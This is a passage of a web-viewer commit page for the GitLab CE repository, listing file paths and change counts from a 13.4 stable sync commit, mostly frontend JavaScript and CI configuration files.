summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorGitLab Bot <gitlab-bot@gitlab.com>2020-09-19 01:45:44 +0000
committerGitLab Bot <gitlab-bot@gitlab.com>2020-09-19 01:45:44 +0000
commit85dc423f7090da0a52c73eb66faf22ddb20efff9 (patch)
tree9160f299afd8c80c038f08e1545be119f5e3f1e1
parent15c2c8c66dbe422588e5411eee7e68f1fa440bb8 (diff)
downloadgitlab-ce-85dc423f7090da0a52c73eb66faf22ddb20efff9.tar.gz
Add latest changes from gitlab-org/gitlab@13-4-stable-ee
-rw-r--r--.editorconfig2
-rw-r--r--.eslintrc.yml3
-rw-r--r--.gitignore510
-rw-r--r--.gitlab-ci.yml2
-rw-r--r--.gitlab/CODEOWNERS11
-rw-r--r--.gitlab/ci/dast.gitlab-ci.yml203
-rw-r--r--.gitlab/ci/docs.gitlab-ci.yml2
-rw-r--r--.gitlab/ci/notify.gitlab-ci.yml2
-rw-r--r--.gitlab/ci/rails.gitlab-ci.yml54
-rw-r--r--.gitlab/ci/reports.gitlab-ci.yml50
-rw-r--r--.gitlab/ci/review.gitlab-ci.yml17
-rw-r--r--.gitlab/ci/rules.gitlab-ci.yml100
-rw-r--r--.gitlab/ci/setup.gitlab-ci.yml43
-rw-r--r--.gitlab/issue_templates/Bug.md26
-rw-r--r--.gitlab/issue_templates/Feature proposal.md6
-rw-r--r--.gitlab/issue_templates/QA Failure.md8
-rw-r--r--.gitlab/issue_templates/Security developer workflow.md2
-rw-r--r--.gitlab/issue_templates/actionable_insight.md4
-rw-r--r--.gitlab/merge_request_templates/Documentation.md13
-rw-r--r--.gitlab/merge_request_templates/Security Release.md1
-rw-r--r--.haml-lint_todo.yml10
-rw-r--r--.markdownlint.json3
-rw-r--r--.pkgr.yml49
-rw-r--r--.rubocop.yml39
-rw-r--r--.rubocop_todo.yml318
-rw-r--r--.scss-lint.yml2
-rw-r--r--CHANGELOG.md13502
-rw-r--r--GITALY_SERVER_VERSION2
-rw-r--r--GITLAB_ELASTICSEARCH_INDEXER_VERSION2
-rw-r--r--GITLAB_KAS_VERSION1
-rw-r--r--GITLAB_PAGES_VERSION2
-rw-r--r--GITLAB_SHELL_VERSION2
-rw-r--r--GITLAB_WORKHORSE_VERSION2
-rw-r--r--Gemfile38
-rw-r--r--Gemfile.lock222
-rw-r--r--README.md10
-rw-r--r--app/assets/images/auth_buttons/atlassian_64.pngbin0 -> 1512 bytes
-rw-r--r--app/assets/images/file_icons.svg2
-rw-r--r--app/assets/javascripts/admin/application_settings/setup_metrics_and_profiling.js7
-rw-r--r--app/assets/javascripts/admin/cohorts/components/usage_ping_disabled.vue48
-rw-r--r--app/assets/javascripts/admin/dev_ops_report/components/usage_ping_disabled.vue53
-rw-r--r--app/assets/javascripts/admin/statistics_panel/store/getters.js1
-rw-r--r--app/assets/javascripts/ajax_loading_spinner.js34
-rw-r--r--app/assets/javascripts/alert_handler.js13
-rw-r--r--app/assets/javascripts/alert_management/components/alert_details.vue42
-rw-r--r--app/assets/javascripts/alert_management/components/alert_management_table.vue61
-rw-r--r--app/assets/javascripts/alert_management/components/alert_status.vue6
-rw-r--r--app/assets/javascripts/alert_management/components/sidebar/sidebar_assignees.vue53
-rw-r--r--app/assets/javascripts/alert_management/components/sidebar/sidebar_todo.vue18
-rw-r--r--app/assets/javascripts/alert_management/components/system_notes/system_note.vue3
-rw-r--r--app/assets/javascripts/alert_management/constants.js2
-rw-r--r--app/assets/javascripts/alert_management/details.js9
-rw-r--r--app/assets/javascripts/alert_management/graphql/fragments/list_item.fragment.graphql3
-rw-r--r--app/assets/javascripts/alert_management/graphql/mutations/alert_set_assignees.mutation.graphql3
-rw-r--r--app/assets/javascripts/api.js8
-rw-r--r--app/assets/javascripts/authentication/mount_2fa.js19
-rw-r--r--app/assets/javascripts/authentication/u2f/authenticate.js3
-rw-r--r--app/assets/javascripts/authentication/u2f/register.js26
-rw-r--r--app/assets/javascripts/authentication/webauthn/authenticate.js69
-rw-r--r--app/assets/javascripts/authentication/webauthn/error.js28
-rw-r--r--app/assets/javascripts/authentication/webauthn/flow.js24
-rw-r--r--app/assets/javascripts/authentication/webauthn/index.js13
-rw-r--r--app/assets/javascripts/authentication/webauthn/register.js78
-rw-r--r--app/assets/javascripts/authentication/webauthn/util.js120
-rw-r--r--app/assets/javascripts/badges/components/badge.vue9
-rw-r--r--app/assets/javascripts/badges/components/badge_form.vue30
-rw-r--r--app/assets/javascripts/badges/components/badge_list_row.vue9
-rw-r--r--app/assets/javascripts/batch_comments/components/draft_note.vue1
-rw-r--r--app/assets/javascripts/batch_comments/components/preview_dropdown.vue33
-rw-r--r--app/assets/javascripts/batch_comments/components/preview_item.vue9
-rw-r--r--app/assets/javascripts/batch_comments/components/review_bar.vue1
-rw-r--r--app/assets/javascripts/batch_comments/index.js1
-rw-r--r--app/assets/javascripts/behaviors/autosize.js11
-rw-r--r--app/assets/javascripts/behaviors/index.js22
-rw-r--r--app/assets/javascripts/behaviors/markdown/gfm_auto_complete.js5
-rw-r--r--app/assets/javascripts/behaviors/markdown/render_gfm.js21
-rw-r--r--app/assets/javascripts/behaviors/markdown/render_math.js3
-rw-r--r--app/assets/javascripts/behaviors/shortcuts.js6
-rw-r--r--app/assets/javascripts/behaviors/shortcuts/shortcuts.js99
-rw-r--r--app/assets/javascripts/behaviors/shortcuts/shortcuts_find_file.js17
-rw-r--r--app/assets/javascripts/blob/components/blob_edit_content.vue2
-rw-r--r--app/assets/javascripts/blob/components/blob_embeddable.vue41
-rw-r--r--app/assets/javascripts/blob/file_template_mediator.js8
-rw-r--r--app/assets/javascripts/blob/file_template_selector.js8
-rw-r--r--app/assets/javascripts/blob/pipeline_tour_success_modal.vue45
-rw-r--r--app/assets/javascripts/blob/suggest_gitlab_ci_yml/components/popover.vue6
-rw-r--r--app/assets/javascripts/blob/suggest_gitlab_ci_yml/index.js1
-rw-r--r--app/assets/javascripts/blob/suggest_web_ide_ci/components/web_ide_alert.vue50
-rw-r--r--app/assets/javascripts/blob/suggest_web_ide_ci/index.js20
-rw-r--r--app/assets/javascripts/blob/template_selector.js4
-rw-r--r--app/assets/javascripts/blob/template_selectors/ci_yaml_selector.js3
-rw-r--r--app/assets/javascripts/blob/template_selectors/dockerfile_selector.js3
-rw-r--r--app/assets/javascripts/blob/template_selectors/gitignore_selector.js3
-rw-r--r--app/assets/javascripts/blob/template_selectors/license_selector.js3
-rw-r--r--app/assets/javascripts/blob/template_selectors/metrics_dashboard_selector.js3
-rw-r--r--app/assets/javascripts/blob/template_selectors/type_selector.js3
-rw-r--r--app/assets/javascripts/blob/utils.js8
-rw-r--r--app/assets/javascripts/blob_edit/blob_bundle.js11
-rw-r--r--app/assets/javascripts/blob_edit/edit_blob.js15
-rw-r--r--app/assets/javascripts/boards/boards_util.js64
-rw-r--r--app/assets/javascripts/boards/components/board_blank_state.vue18
-rw-r--r--app/assets/javascripts/boards/components/board_card.vue112
-rw-r--r--app/assets/javascripts/boards/components/board_card_layout.vue93
-rw-r--r--app/assets/javascripts/boards/components/board_column.vue63
-rw-r--r--app/assets/javascripts/boards/components/board_content.vue70
-rw-r--r--app/assets/javascripts/boards/components/board_form.vue6
-rw-r--r--app/assets/javascripts/boards/components/board_list.vue27
-rw-r--r--app/assets/javascripts/boards/components/board_list_header.vue60
-rw-r--r--app/assets/javascripts/boards/components/board_new_issue.vue47
-rw-r--r--app/assets/javascripts/boards/components/board_settings_sidebar.vue30
-rw-r--r--app/assets/javascripts/boards/components/board_sidebar.js4
-rw-r--r--app/assets/javascripts/boards/components/boards_selector.vue10
-rw-r--r--app/assets/javascripts/boards/components/issuable_title.vue21
-rw-r--r--app/assets/javascripts/boards/components/issue_card_inner.vue24
-rw-r--r--app/assets/javascripts/boards/components/issue_due_date.vue7
-rw-r--r--app/assets/javascripts/boards/components/issue_time_estimate.vue7
-rw-r--r--app/assets/javascripts/boards/components/modal/empty_state.vue24
-rw-r--r--app/assets/javascripts/boards/components/modal/footer.vue10
-rw-r--r--app/assets/javascripts/boards/components/modal/header.vue26
-rw-r--r--app/assets/javascripts/boards/components/modal/index.vue25
-rw-r--r--app/assets/javascripts/boards/components/modal/list.vue16
-rw-r--r--app/assets/javascripts/boards/components/modal/lists_dropdown.vue7
-rw-r--r--app/assets/javascripts/boards/components/new_list_dropdown.js3
-rw-r--r--app/assets/javascripts/boards/components/project_select.vue22
-rw-r--r--app/assets/javascripts/boards/components/sidebar/board_editable_item.vue79
-rw-r--r--app/assets/javascripts/boards/constants.js3
-rw-r--r--app/assets/javascripts/boards/filtered_search_boards.js5
-rw-r--r--app/assets/javascripts/boards/index.js82
-rw-r--r--app/assets/javascripts/boards/models/issue.js2
-rw-r--r--app/assets/javascripts/boards/models/list.js2
-rw-r--r--app/assets/javascripts/boards/mount_multiple_boards_switcher.js2
-rw-r--r--app/assets/javascripts/boards/queries/board_list_create.mutation.graphql10
-rw-r--r--app/assets/javascripts/boards/queries/board_list_shared.fragment.graphql2
-rw-r--r--app/assets/javascripts/boards/queries/board_list_update.mutation.graphql10
-rw-r--r--app/assets/javascripts/boards/queries/group_lists_issues.query.graphql18
-rw-r--r--app/assets/javascripts/boards/queries/issue.fragment.graphql6
-rw-r--r--app/assets/javascripts/boards/queries/issue_move_list.mutation.graphql28
-rw-r--r--app/assets/javascripts/boards/queries/lists_issues.query.graphql39
-rw-r--r--app/assets/javascripts/boards/queries/project_lists_issues.query.graphql18
-rw-r--r--app/assets/javascripts/boards/stores/actions.js270
-rw-r--r--app/assets/javascripts/boards/stores/boards_store.js34
-rw-r--r--app/assets/javascripts/boards/stores/getters.js22
-rw-r--r--app/assets/javascripts/boards/stores/mutation_types.js21
-rw-r--r--app/assets/javascripts/boards/stores/mutations.js135
-rw-r--r--app/assets/javascripts/boards/stores/state.js10
-rw-r--r--app/assets/javascripts/branches/ajax_loading_spinner.js31
-rw-r--r--app/assets/javascripts/ci_lint/components/ci_lint.vue14
-rw-r--r--app/assets/javascripts/ci_lint/components/ci_lint_results.vue9
-rw-r--r--app/assets/javascripts/ci_lint/index.js18
-rw-r--r--app/assets/javascripts/ci_variable_list/ci_variable_list.js2
-rw-r--r--app/assets/javascripts/ci_variable_list/components/ci_environments_dropdown.vue2
-rw-r--r--app/assets/javascripts/ci_variable_list/components/ci_variable_table.vue1
-rw-r--r--app/assets/javascripts/ci_variable_list/constants.js1
-rw-r--r--app/assets/javascripts/ci_variable_list/store/getters.js3
-rw-r--r--app/assets/javascripts/clusters/clusters_bundle.js2
-rw-r--r--app/assets/javascripts/clusters/components/application_row.vue45
-rw-r--r--app/assets/javascripts/clusters/components/knative_domain_editor.vue17
-rw-r--r--app/assets/javascripts/clusters/components/new_cluster.vue34
-rw-r--r--app/assets/javascripts/clusters/components/remove_cluster_confirmation.vue33
-rw-r--r--app/assets/javascripts/clusters/components/uninstall_application_button.vue8
-rw-r--r--app/assets/javascripts/clusters/components/uninstall_application_confirmation_modal.vue1
-rw-r--r--app/assets/javascripts/clusters/components/update_application_confirmation_modal.vue1
-rw-r--r--app/assets/javascripts/clusters/new_cluster.js19
-rw-r--r--app/assets/javascripts/clusters/stores/new_cluster/index.js12
-rw-r--r--app/assets/javascripts/clusters/stores/new_cluster/state.js3
-rw-r--r--app/assets/javascripts/clusters_list/components/clusters.vue2
-rw-r--r--app/assets/javascripts/commit/pipelines/pipelines_table.vue2
-rw-r--r--app/assets/javascripts/commons/jquery.js3
-rw-r--r--app/assets/javascripts/compare_autocomplete.js3
-rw-r--r--app/assets/javascripts/confidential_merge_request/components/dropdown.vue11
-rw-r--r--app/assets/javascripts/confidential_merge_request/components/project_form_group.vue5
-rw-r--r--app/assets/javascripts/contributors/stores/actions.js1
-rw-r--r--app/assets/javascripts/create_cluster/eks_cluster/components/eks_cluster_configuration_form.vue1
-rw-r--r--app/assets/javascripts/create_cluster/eks_cluster/components/service_credentials_form.vue16
-rw-r--r--app/assets/javascripts/create_cluster/eks_cluster/constants.js8
-rw-r--r--app/assets/javascripts/create_cluster/eks_cluster/store/actions.js1
-rw-r--r--app/assets/javascripts/create_cluster/eks_cluster/store/getters.js1
-rw-r--r--app/assets/javascripts/create_cluster/eks_cluster/store/state.js2
-rw-r--r--app/assets/javascripts/create_item_dropdown.js8
-rw-r--r--app/assets/javascripts/custom_metrics/components/custom_metrics_form_fields.vue14
-rw-r--r--app/assets/javascripts/cycle_analytics/components/banner.vue7
-rw-r--r--app/assets/javascripts/cycle_analytics/components/stage_review_component.vue4
-rw-r--r--app/assets/javascripts/cycle_analytics/components/stage_staging_component.vue7
-rw-r--r--app/assets/javascripts/cycle_analytics/components/stage_test_component.vue7
-rw-r--r--app/assets/javascripts/cycle_analytics/cycle_analytics_store.js3
-rw-r--r--app/assets/javascripts/deploy_keys/components/app.vue9
-rw-r--r--app/assets/javascripts/deploy_keys/components/key.vue16
-rw-r--r--app/assets/javascripts/deploy_keys/service/index.js10
-rw-r--r--app/assets/javascripts/deprecated_jquery_dropdown/gl_dropdown.js689
-rw-r--r--app/assets/javascripts/deprecated_jquery_dropdown/gl_dropdown_filter.js135
-rw-r--r--app/assets/javascripts/deprecated_jquery_dropdown/gl_dropdown_input.js44
-rw-r--r--app/assets/javascripts/deprecated_jquery_dropdown/gl_dropdown_remote.js42
-rw-r--r--app/assets/javascripts/deprecated_jquery_dropdown/index.js11
-rw-r--r--app/assets/javascripts/deprecated_jquery_dropdown/render.js166
-rw-r--r--app/assets/javascripts/design_management/components/delete_button.vue3
-rw-r--r--app/assets/javascripts/design_management/components/design_notes/design_discussion.vue92
-rw-r--r--app/assets/javascripts/design_management/components/design_notes/design_note.vue45
-rw-r--r--app/assets/javascripts/design_management/components/design_notes/design_reply_form.vue21
-rw-r--r--app/assets/javascripts/design_management/components/design_overlay.vue49
-rw-r--r--app/assets/javascripts/design_management/components/design_sidebar.vue59
-rw-r--r--app/assets/javascripts/design_management/components/design_todo_button.vue168
-rw-r--r--app/assets/javascripts/design_management/components/list/item.vue29
-rw-r--r--app/assets/javascripts/design_management/components/upload/design_version_dropdown.vue14
-rw-r--r--app/assets/javascripts/design_management/constants.js1
-rw-r--r--app/assets/javascripts/design_management/graphql.js59
-rw-r--r--app/assets/javascripts/design_management/graphql/fragments/design_list.fragment.graphql5
-rw-r--r--app/assets/javascripts/design_management/graphql/fragments/design_note.fragment.graphql5
-rw-r--r--app/assets/javascripts/design_management/graphql/mutations/create_design_todo.mutation.graphql17
-rw-r--r--app/assets/javascripts/design_management/graphql/queries/get_design.query.graphql1
-rw-r--r--app/assets/javascripts/design_management/index.js2
-rw-r--r--app/assets/javascripts/design_management/pages/design/index.vue29
-rw-r--r--app/assets/javascripts/design_management/pages/index.vue11
-rw-r--r--app/assets/javascripts/design_management/utils/cache_update.js283
-rw-r--r--app/assets/javascripts/design_management/utils/design_management_utils.js34
-rw-r--r--app/assets/javascripts/design_management/utils/error_messages.js8
-rw-r--r--app/assets/javascripts/design_management/utils/tracking.js1
-rw-r--r--app/assets/javascripts/design_management_legacy/components/app.vue3
-rw-r--r--app/assets/javascripts/design_management_legacy/components/delete_button.vue64
-rw-r--r--app/assets/javascripts/design_management_legacy/components/design_destroyer.vue66
-rw-r--r--app/assets/javascripts/design_management_legacy/components/design_note_pin.vue61
-rw-r--r--app/assets/javascripts/design_management_legacy/components/design_notes/design_discussion.vue297
-rw-r--r--app/assets/javascripts/design_management_legacy/components/design_notes/design_note.vue156
-rw-r--r--app/assets/javascripts/design_management_legacy/components/design_notes/design_reply_form.vue141
-rw-r--r--app/assets/javascripts/design_management_legacy/components/design_notes/toggle_replies_widget.vue70
-rw-r--r--app/assets/javascripts/design_management_legacy/components/design_overlay.vue287
-rw-r--r--app/assets/javascripts/design_management_legacy/components/design_presentation.vue322
-rw-r--r--app/assets/javascripts/design_management_legacy/components/design_scaler.vue65
-rw-r--r--app/assets/javascripts/design_management_legacy/components/design_sidebar.vue178
-rw-r--r--app/assets/javascripts/design_management_legacy/components/image.vue110
-rw-r--r--app/assets/javascripts/design_management_legacy/components/list/item.vue174
-rw-r--r--app/assets/javascripts/design_management_legacy/components/toolbar/index.vue126
-rw-r--r--app/assets/javascripts/design_management_legacy/components/toolbar/pagination.vue83
-rw-r--r--app/assets/javascripts/design_management_legacy/components/toolbar/pagination_button.vue48
-rw-r--r--app/assets/javascripts/design_management_legacy/components/upload/button.vue58
-rw-r--r--app/assets/javascripts/design_management_legacy/components/upload/design_dropzone.vue134
-rw-r--r--app/assets/javascripts/design_management_legacy/components/upload/design_version_dropdown.vue76
-rw-r--r--app/assets/javascripts/design_management_legacy/constants.js16
-rw-r--r--app/assets/javascripts/design_management_legacy/graphql.js45
-rw-r--r--app/assets/javascripts/design_management_legacy/graphql/fragments/design.fragment.graphql24
-rw-r--r--app/assets/javascripts/design_management_legacy/graphql/fragments/design_list.fragment.graphql8
-rw-r--r--app/assets/javascripts/design_management_legacy/graphql/fragments/design_note.fragment.graphql29
-rw-r--r--app/assets/javascripts/design_management_legacy/graphql/fragments/diff_refs.fragment.graphql5
-rw-r--r--app/assets/javascripts/design_management_legacy/graphql/fragments/discussion_resolved_status.fragment.graphql9
-rw-r--r--app/assets/javascripts/design_management_legacy/graphql/fragments/note_permissions.fragment.graphql3
-rw-r--r--app/assets/javascripts/design_management_legacy/graphql/fragments/version.fragment.graphql4
-rw-r--r--app/assets/javascripts/design_management_legacy/graphql/mutations/create_image_diff_note.mutation.graphql21
-rw-r--r--app/assets/javascripts/design_management_legacy/graphql/mutations/create_note.mutation.graphql10
-rw-r--r--app/assets/javascripts/design_management_legacy/graphql/mutations/destroy_design.mutation.graphql10
-rw-r--r--app/assets/javascripts/design_management_legacy/graphql/mutations/toggle_resolve_discussion.mutation.graphql17
-rw-r--r--app/assets/javascripts/design_management_legacy/graphql/mutations/update_active_discussion.mutation.graphql3
-rw-r--r--app/assets/javascripts/design_management_legacy/graphql/mutations/update_image_diff_note.mutation.graphql10
-rw-r--r--app/assets/javascripts/design_management_legacy/graphql/mutations/update_note.mutation.graphql10
-rw-r--r--app/assets/javascripts/design_management_legacy/graphql/mutations/upload_design.mutation.graphql21
-rw-r--r--app/assets/javascripts/design_management_legacy/graphql/queries/active_discussion.query.graphql6
-rw-r--r--app/assets/javascripts/design_management_legacy/graphql/queries/app_data.query.graphql4
-rw-r--r--app/assets/javascripts/design_management_legacy/graphql/queries/design_permissions.query.graphql10
-rw-r--r--app/assets/javascripts/design_management_legacy/graphql/queries/get_design.query.graphql31
-rw-r--r--app/assets/javascripts/design_management_legacy/graphql/queries/get_design_list.query.graphql26
-rw-r--r--app/assets/javascripts/design_management_legacy/graphql/typedefs.graphql12
-rw-r--r--app/assets/javascripts/design_management_legacy/index.js61
-rw-r--r--app/assets/javascripts/design_management_legacy/mixins/all_designs.js49
-rw-r--r--app/assets/javascripts/design_management_legacy/mixins/all_versions.js62
-rw-r--r--app/assets/javascripts/design_management_legacy/pages/design/index.vue378
-rw-r--r--app/assets/javascripts/design_management_legacy/pages/index.vue323
-rw-r--r--app/assets/javascripts/design_management_legacy/router/constants.js3
-rw-r--r--app/assets/javascripts/design_management_legacy/router/index.js35
-rw-r--r--app/assets/javascripts/design_management_legacy/router/routes.js44
-rw-r--r--app/assets/javascripts/design_management_legacy/utils/cache_update.js276
-rw-r--r--app/assets/javascripts/design_management_legacy/utils/design_management_utils.js128
-rw-r--r--app/assets/javascripts/design_management_legacy/utils/error_messages.js95
-rw-r--r--app/assets/javascripts/design_management_legacy/utils/tracking.js27
-rw-r--r--app/assets/javascripts/diff_notes/components/jump_to_discussion.js1
-rw-r--r--app/assets/javascripts/diffs/components/app.vue231
-rw-r--r--app/assets/javascripts/diffs/components/collapsed_files_warning.vue71
-rw-r--r--app/assets/javascripts/diffs/components/commit_item.vue14
-rw-r--r--app/assets/javascripts/diffs/components/compare_dropdown_layout.vue6
-rw-r--r--app/assets/javascripts/diffs/components/compare_versions.vue35
-rw-r--r--app/assets/javascripts/diffs/components/diff_content.vue17
-rw-r--r--app/assets/javascripts/diffs/components/diff_discussions.vue6
-rw-r--r--app/assets/javascripts/diffs/components/diff_expansion_cell.vue52
-rw-r--r--app/assets/javascripts/diffs/components/diff_file.vue53
-rw-r--r--app/assets/javascripts/diffs/components/diff_file_header.vue59
-rw-r--r--app/assets/javascripts/diffs/components/diff_file_row.vue24
-rw-r--r--app/assets/javascripts/diffs/components/diff_gutter_avatars.vue7
-rw-r--r--app/assets/javascripts/diffs/components/diff_stats.vue6
-rw-r--r--app/assets/javascripts/diffs/components/edit_button.vue7
-rw-r--r--app/assets/javascripts/diffs/components/image_diff_overlay.vue8
-rw-r--r--app/assets/javascripts/diffs/components/inline_diff_table_row.vue156
-rw-r--r--app/assets/javascripts/diffs/components/inline_diff_view.vue3
-rw-r--r--app/assets/javascripts/diffs/components/merge_conflict_warning.vue72
-rw-r--r--app/assets/javascripts/diffs/components/no_changes.vue28
-rw-r--r--app/assets/javascripts/diffs/components/parallel_diff_table_row.vue273
-rw-r--r--app/assets/javascripts/diffs/components/settings_dropdown.vue138
-rw-r--r--app/assets/javascripts/diffs/components/tree_list.vue12
-rw-r--r--app/assets/javascripts/diffs/constants.js6
-rw-r--r--app/assets/javascripts/diffs/diff_file.js1
-rw-r--r--app/assets/javascripts/diffs/i18n.js14
-rw-r--r--app/assets/javascripts/diffs/store/actions.js75
-rw-r--r--app/assets/javascripts/diffs/store/getters.js9
-rw-r--r--app/assets/javascripts/diffs/store/getters_versions_dropdowns.js31
-rw-r--r--app/assets/javascripts/diffs/store/modules/diff_state.js2
-rw-r--r--app/assets/javascripts/diffs/store/mutation_types.js2
-rw-r--r--app/assets/javascripts/diffs/store/mutations.js18
-rw-r--r--app/assets/javascripts/diffs/store/utils.js80
-rw-r--r--app/assets/javascripts/diffs/utils/uuids.js3
-rw-r--r--app/assets/javascripts/due_date_select.js3
-rw-r--r--app/assets/javascripts/editor/constants.js7
-rw-r--r--app/assets/javascripts/editor/editor_file_template_ext.js7
-rw-r--r--app/assets/javascripts/editor/editor_lite.js113
-rw-r--r--app/assets/javascripts/editor/editor_markdown_ext.js14
-rw-r--r--app/assets/javascripts/environments/components/confirm_rollback_modal.vue1
-rw-r--r--app/assets/javascripts/environments/components/environment_actions.vue33
-rw-r--r--app/assets/javascripts/environments/components/environment_delete.vue7
-rw-r--r--app/assets/javascripts/environments/components/environment_item.vue11
-rw-r--r--app/assets/javascripts/environments/components/environment_monitoring.vue16
-rw-r--r--app/assets/javascripts/environments/components/environment_pin.vue18
-rw-r--r--app/assets/javascripts/environments/components/environment_rollback.vue24
-rw-r--r--app/assets/javascripts/environments/components/environment_terminal_button.vue7
-rw-r--r--app/assets/javascripts/environments/components/environments_table.vue9
-rw-r--r--app/assets/javascripts/environments/components/stop_environment_modal.vue2
-rw-r--r--app/assets/javascripts/environments/folder/environments_folder_bundle.js22
-rw-r--r--app/assets/javascripts/environments/folder/environments_folder_view.vue3
-rw-r--r--app/assets/javascripts/environments/index.js21
-rw-r--r--app/assets/javascripts/environments/mixins/canary_callout_mixin.js2
-rw-r--r--app/assets/javascripts/environments/stores/helpers.js1
-rw-r--r--app/assets/javascripts/error_tracking/components/error_details.vue6
-rw-r--r--app/assets/javascripts/error_tracking/components/stacktrace_entry.vue8
-rw-r--r--app/assets/javascripts/error_tracking/store/details/actions.js1
-rw-r--r--app/assets/javascripts/error_tracking/store/details/getters.js1
-rw-r--r--app/assets/javascripts/error_tracking_settings/components/error_tracking_form.vue7
-rw-r--r--app/assets/javascripts/filtered_search/issuable_filtered_search_token_keys.js5
-rw-r--r--app/assets/javascripts/flash.js2
-rw-r--r--app/assets/javascripts/frequent_items/components/frequent_items_list_item.vue2
-rw-r--r--app/assets/javascripts/frequent_items/components/frequent_items_search_input.vue6
-rw-r--r--app/assets/javascripts/frequent_items/index.js12
-rw-r--r--app/assets/javascripts/frequent_items/store/getters.js1
-rw-r--r--app/assets/javascripts/gfm_auto_complete.js22
-rw-r--r--app/assets/javascripts/gl_dropdown.js901
-rw-r--r--app/assets/javascripts/gl_dropdown/render.js158
-rw-r--r--app/assets/javascripts/gpg_badges.js3
-rw-r--r--app/assets/javascripts/grafana_integration/components/grafana_integration.vue7
-rw-r--r--app/assets/javascripts/graphql_shared/fragments/author.fragment.graphql1
-rw-r--r--app/assets/javascripts/graphql_shared/fragments/epic.fragment.graphql10
-rw-r--r--app/assets/javascripts/graphql_shared/fragments/label.fragment.graphql7
-rw-r--r--app/assets/javascripts/graphql_shared/mutations/todo_mark_done.mutation.graphql (renamed from app/assets/javascripts/alert_management/graphql/mutations/alert_todo_mark_done.mutation.graphql)0
-rw-r--r--app/assets/javascripts/groups/components/app.vue1
-rw-r--r--app/assets/javascripts/groups/components/group_item.vue1
-rw-r--r--app/assets/javascripts/groups/components/invite_members_banner.vue76
-rw-r--r--app/assets/javascripts/groups/components/item_actions.vue8
-rw-r--r--app/assets/javascripts/groups/components/item_caret.vue6
-rw-r--r--app/assets/javascripts/groups/components/item_stats_value.vue6
-rw-r--r--app/assets/javascripts/groups/components/item_type_icon.vue6
-rw-r--r--app/assets/javascripts/groups/init_invite_members_banner.js23
-rw-r--r--app/assets/javascripts/groups/members/components/app.vue11
-rw-r--r--app/assets/javascripts/groups/members/index.js30
-rw-r--r--app/assets/javascripts/groups/transfer_dropdown.js3
-rw-r--r--app/assets/javascripts/groups_select.js11
-rw-r--r--app/assets/javascripts/header.js79
-rw-r--r--app/assets/javascripts/helpers/startup_css_helper.js46
-rw-r--r--app/assets/javascripts/ide/components/activity_bar.vue14
-rw-r--r--app/assets/javascripts/ide/components/branches/item.vue6
-rw-r--r--app/assets/javascripts/ide/components/branches/search_list.vue7
-rw-r--r--app/assets/javascripts/ide/components/commit_sidebar/actions.vue1
-rw-r--r--app/assets/javascripts/ide/components/commit_sidebar/form.vue46
-rw-r--r--app/assets/javascripts/ide/components/commit_sidebar/list.vue9
-rw-r--r--app/assets/javascripts/ide/components/commit_sidebar/list_collapsed.vue10
-rw-r--r--app/assets/javascripts/ide/components/commit_sidebar/list_item.vue6
-rw-r--r--app/assets/javascripts/ide/components/commit_sidebar/message_field.vue6
-rw-r--r--app/assets/javascripts/ide/components/commit_sidebar/success_message.vue1
-rw-r--r--app/assets/javascripts/ide/components/error_message.vue1
-rw-r--r--app/assets/javascripts/ide/components/file_row_extra.vue6
-rw-r--r--app/assets/javascripts/ide/components/ide.vue3
-rw-r--r--app/assets/javascripts/ide/components/ide_file_row.vue12
-rw-r--r--app/assets/javascripts/ide/components/ide_review.vue4
-rw-r--r--app/assets/javascripts/ide/components/ide_side_bar.vue2
-rw-r--r--app/assets/javascripts/ide/components/ide_status_bar.vue7
-rw-r--r--app/assets/javascripts/ide/components/ide_status_list.vue7
-rw-r--r--app/assets/javascripts/ide/components/ide_tree.vue4
-rw-r--r--app/assets/javascripts/ide/components/ide_tree_list.vue2
-rw-r--r--app/assets/javascripts/ide/components/jobs/detail.vue15
-rw-r--r--app/assets/javascripts/ide/components/jobs/detail/description.vue14
-rw-r--r--app/assets/javascripts/ide/components/jobs/detail/scroll_button.vue6
-rw-r--r--app/assets/javascripts/ide/components/jobs/stage.vue7
-rw-r--r--app/assets/javascripts/ide/components/merge_requests/item.vue6
-rw-r--r--app/assets/javascripts/ide/components/merge_requests/list.vue9
-rw-r--r--app/assets/javascripts/ide/components/mr_file_icon.vue6
-rw-r--r--app/assets/javascripts/ide/components/nav_dropdown_button.vue8
-rw-r--r--app/assets/javascripts/ide/components/new_dropdown/button.vue6
-rw-r--r--app/assets/javascripts/ide/components/new_dropdown/index.vue6
-rw-r--r--app/assets/javascripts/ide/components/new_dropdown/modal.vue12
-rw-r--r--app/assets/javascripts/ide/components/new_dropdown/upload.vue3
-rw-r--r--app/assets/javascripts/ide/components/panes/collapsible_sidebar.vue2
-rw-r--r--app/assets/javascripts/ide/components/pipelines/list.vue12
-rw-r--r--app/assets/javascripts/ide/components/preview/navigator.vue11
-rw-r--r--app/assets/javascripts/ide/components/repo_editor.vue16
-rw-r--r--app/assets/javascripts/ide/components/repo_file_status_icon.vue6
-rw-r--r--app/assets/javascripts/ide/components/repo_tab.vue13
-rw-r--r--app/assets/javascripts/ide/components/repo_tabs.vue7
-rw-r--r--app/assets/javascripts/ide/components/shared/tokened_input.vue6
-rw-r--r--app/assets/javascripts/ide/components/terminal/empty_state.vue1
-rw-r--r--app/assets/javascripts/ide/components/terminal_sync/terminal_sync_status.vue7
-rw-r--r--app/assets/javascripts/ide/ide_router.js1
-rw-r--r--app/assets/javascripts/ide/lib/diff/diff.js2
-rw-r--r--app/assets/javascripts/ide/lib/editor.js7
-rw-r--r--app/assets/javascripts/ide/lib/editorconfig/parser.js1
-rw-r--r--app/assets/javascripts/ide/lib/errors.js39
-rw-r--r--app/assets/javascripts/ide/lib/files.js19
-rw-r--r--app/assets/javascripts/ide/lib/schemas/index.js4
-rw-r--r--app/assets/javascripts/ide/lib/schemas/json/index.js8
-rw-r--r--app/assets/javascripts/ide/lib/schemas/yaml/gitlab_ci.js4
-rw-r--r--app/assets/javascripts/ide/lib/schemas/yaml/index.js12
-rw-r--r--app/assets/javascripts/ide/services/gql.js1
-rw-r--r--app/assets/javascripts/ide/services/index.js6
-rw-r--r--app/assets/javascripts/ide/stores/actions.js22
-rw-r--r--app/assets/javascripts/ide/stores/actions/file.js14
-rw-r--r--app/assets/javascripts/ide/stores/actions/tree.js6
-rw-r--r--app/assets/javascripts/ide/stores/getters.js19
-rw-r--r--app/assets/javascripts/ide/stores/modules/commit/actions.js28
-rw-r--r--app/assets/javascripts/ide/stores/modules/commit/mutation_types.js3
-rw-r--r--app/assets/javascripts/ide/stores/modules/commit/mutations.js6
